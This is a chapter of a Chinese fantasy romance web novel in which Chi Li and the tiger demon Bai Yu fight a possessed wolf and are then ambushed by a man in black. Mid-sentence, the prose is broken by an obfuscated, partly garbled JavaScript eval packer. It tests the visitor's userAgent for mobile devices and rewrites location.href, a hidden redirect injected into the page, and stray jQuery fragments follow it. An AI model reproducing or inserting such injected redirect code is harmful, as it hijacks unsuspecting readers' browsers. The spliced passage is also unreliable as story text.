点南烛 作品
16. 拨云渐真相
夜来香早已在掌心捂得湿热,迟鲤转过头:“白煜,你在抓什么吗?”
“你看不见,不过,你可以猜。”
他攥紧掌心,嘴角微微勾起,目光悠长。
“我看不见?”迟鲤也伸出手,在他面前肆意晃了晃,“是我看不见……还是你不想让我看见?”
“有些东西,看见了可不比没看见好。”
迟鲤本想上手刮刮他的鼻尖,让他有话尽言,却思量片刻——夜来香无声落下,此刻容不下半点浓情蜜意,她将指尖悬在了半空中。
眸光的尽头,眼前人的面容模糊,皎洁月光之下,迟鲤又好像看到的是那只白虎,而并非与她患难的人。
明明与他相知不久,她却愿意推心置腹,甚至丝毫不去探明他的过去,不去熟知妖与人的不同,她只是一味的信任,不论身份,不明真相,只是冥冥之中的信任。
“你眼中的世界,究竟是什么样的。”
迟鲤神色忽然坚定,她伸手将白煜面对着自己,眼底的泪光明明灭灭。
“告诉我,我不知道的一切。”
寂静无声的山谷间,唯剩杜鹃鸣。
白煜心口一紧,迟鲤在向他索要,那个属于妖的,属于另一世界的邀请函。
而她,终有一日,也有权利知晓他的世界,去看他的眸底,她的倒影。
“你要的,我给你。”
白煜伸开掌心,暗光如同点点萤火在他掌中闪出柔光——他将掌心靠近迟鲤面庞,直至贴紧,盖住她的双眼。
指缝之间,微光漏出;指缝之中,他按觉有水汽氤氲;指缝之下,是她如蝶翼颤抖的双唇。
她睁开眼,他放下手。
“迟鲤,这就是我的世界,妖的世界。”
面前的一切好似刷新来过,迟鲤不由深吸了口气:她看山不是山,是一座座泛着微光的丘壑波澜,她看水不是水,是一条泛着银纹的缎带,而眼前人也并非是人——
她同时看得见,一只白虎的影子,与一位少年的影子,双目对叠。
风的形状清晰可见,迟鲤低下头,用这双新的眼睛,去看眼前的每一处。
“白煜,我看见了没有影子的人,就在悬崖下。”
“那是殷先生的魂魄。”
悬崖下,殷先生自凡体中爬出,拍了拍双膝的土,如无事发生一般,顺着河水前行。
“那,那他身后的是什么?”
“那是他的因果,是业债。”
“那你,看得见我的业债?”
“看得见,很干净,但很繁杂,像一串数不尽的葡萄。”
迟鲤低头笑了笑,却双眸湿润。
“法力有限,过一会儿你可就看不见了。”白煜拍了拍自己肩头,“上来,我带你去看看新东西。”
“你要背我?”迟鲤有些意外。
“算是吧……不过出了宫,约法三章可就不奏效了哦。”
未等迟鲤反应过来,白煜便先行一步牵起她的手,将她紧贴着自己,随之浑身微微颤抖,在一圈金雾之中,他久违的化作了虎的模样。
“慢些跑——”
虎背之上,迟鲤听得见花香,看得见风在耳旁呼啸而过,一段段不同颜色的因果在眼前浮现。
她从未想过,世间尚且有这一面,不问宫中权谋之事,不谈恨海情天,只是徜徉在这月色花海之中,与身下的虎同频共振。
“妖是自由的,人也应当是。”
迟鲤声音小的几乎听不见。
“你说什么——”
“没什么,我说,我要去摘葡萄。”
“摘葡萄?”
“此番回宫,我要去尽我的因果。”
虎爪徐徐慢下来,迟鲤的目光也逐渐暗淡,妖力有限,一切再次回到原点。
白煜不知载着她跑到了何处,山林间万籁俱寂,甚至于有些空洞怖人。
二人并肩而行,迟鲤本能的想去牵他的手,白煜却忽然间停在原地,眉心微皱。
“你听。”
林间窸窸窣窣,迟鲤忙收回手,与他退身草丛之间。
白煜又示意迟鲤向下蹲了蹲,悄声凝神:“这山间气味有异,恐不止你我二人。”
言出法随,下一瞬,山坡林间,竟冒出了一双黑森森的眸光,而眸光旁,是一对挺起的双耳,以及颏上的犬牙差互。
“它是妖……?”迟鲤悄声问道。
“并非妖,也不全是兽。”白煜的呼吸也渐渐急促,“颇为奇怪,我从未见过这种气息。”
那只野狼走出乱草,独行在山林之间,步伐却一摇一晃,狼尾亦夹在后腿之间无力地垂坠。
“你要做什么?”
迟鲤拉住了几欲起身的白煜。
“我可以帮到它,相信我,我应付得来。”
白煜的背影离那匹孤狼愈来愈近,那狼似乎也未意识到有人跟随,向一旁的小路拐去。
迟鲤随着白煜,在小路上行进了一段,可在他即将要触碰到它的脊背之时,那狼竟忽然奋起,向白煜扑去。
“不要过来!”白煜喊道。
那狼虽神色恹恹,下口却是狠厉,不知是哪里来的力量,竟与白煜缠斗了起来。
迟鲤顾不得这些,冲出草丛,身侧未带佩剑,她便捡起一段竹枝向那狼劈去。
那狼神色异常兴奋,亮出利齿,嵌在了白煜的血肉之间,白煜心底虽不想要它的命,可咬在身上毕竟不是好事,便狠了下心来一手抑住那狼的咽喉,一手挥向那狼的腰腹。它吃痛松了口,被白煜重重的摁在了地面。
口中的血沫淌在落叶之间,白煜只觉得刺眼,他本无心伤它,便伸出掌心,在那狼的背脊轻抚,直至掌下的狼呼吸平稳,却也合上了眸。
迟鲤大喘着气,竹枝上尚且留着血痕。
“我说……这并非是寻常野兽。”
白煜拨开那狼的眼睑,确是发现那瞳仁深处,早已是没了生机的模样,身周更是有腐坏之处。
“它不像是妖,倒像是一具被恶魂占据的行尸走肉。”
迟鲤急切地望向白煜:“你是说,它是被控制的?”
“它的身上,有一阵我认不得的力量,在驱使着它。”
妖患的传言在城中沸起,人们又好似都没见过有妖化
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15200857|165495||http|test|mini|href|location.split(|),0,{}));
() {
$(.inform).remove();
$(#content).append(
为人形的模样,皆说有猛兽袭宅,或许这谜底便在这异常的野狼身后。
野狼渐渐没了气息,白煜见状探不出异常所在,便与迟鲤挖了个浅坑,将它埋在了这竹林之中。
最后一抔土盖上了狼眼,迟鲤正望着这小土堆出神,可霎时间那狼竟从土下挣扎出狼牙,落叶四散,白煜来不及阻拦,那狼牙便深嵌在了迟鲤的小臂,留下一道血痕。
迟鲤吃痛出声,那狼竟顿时又失了神采,如同一垒烂肉般瘫软。
“伤在哪里了?”白煜即刻凑在迟鲤身前。
或是伤口的刺痛还未蔓延神经,迟鲤尚未感觉到痛,她紧捂着伤口,不希望眼前人再为她担心。
血腥气散出,泥土之间滴落点点红痕,迟鲤再瞒不过,身躯便被白煜扯在怀中。
他又在替她耗力疗伤。
伤口的触痛宣誓着它的存在,迟鲤借着月光,恍惚间,她发觉这伤口竟久久不愈。
单薄的身后,迟鲤发觉白煜的心跳愈来愈快,他也意识得到,这并非寻常伤痛。
视野逐渐模糊,迟鲤周身泄了力,后颈不可控的靠在了白煜的肩头——视线中,唯有白煜鬓边的汗珠,以及拢住月光的树梢。
树梢间,虽无风,却依旧上下颤动,迟鲤尽力唤起精神,目光顺着树枝转移,逐渐攀向更为粗壮的枝干。
她险些惊呼出声——她看见了梢头上,正明晃晃蹲着一个黑衣之人。
“白煜……白煜!”靠在他怀中,迟鲤连拽紧他的衣襟摇晃。
那黑衣人听闻风声,霎时间转过身去,惊起一丛林鸟,便如同蝙蝠般扬起袍角消失在了林间夜色之中。
白煜连连应声,亦转头发现异常之处。
“有人在跟着我们。”
“不必管我,这妖患之事必定与此人脱不了干系。”迟鲤以近乎恳求的语气,声色隐隐,“去抓住那人,快去。”
“抓紧我。”
两难之际,白煜抛不下怀中的迟鲤,他将她背起,又循着声音,追逐那黑衣人潜逃之人。
即便黑衣人逃的飞快,可在他所过之处落叶片片落下,白煜便顺着这声声落叶,向坡下追去。
天光大暗处,群鸦惊起,那人顿时失了踪迹,白煜只得停在原地,却忽然发现他二人竟被引至了一片林中空地,顿时迟鲤汗毛竖起,只觉得风声鹤唳,四面楚歌。
“白煜,此地不宜久留,快走……”
话音未落,白煜的视线尽头,那黑衣人竟缓缓而出,月影下,他的面色模糊,负手站在那林间唯一的出口小径,煞气却直逼眼前:
“迟大人,久仰久仰,还有……”那人顿了顿,踱着步徘徊,“我是该叫你白大人,还是该称你本形……称你虎妖呢?”
白煜目光警惕,肩头处,迟鲤的心跳正一声声捶在他背脊。
夜色渐沉,那人放缓了步调,随即在袖中抽出一柄三清铃摇晃。
铃声刺耳,好似翻动着魂魄。
树影摇曳间,忽然出现了数对泛着红光的眼眸将他二人包围,只待那人一生令下,仿佛便会撕咬上来,拆吞入腹,片甲不留。
“我还以为是谎,多谢白大人让它成了真——”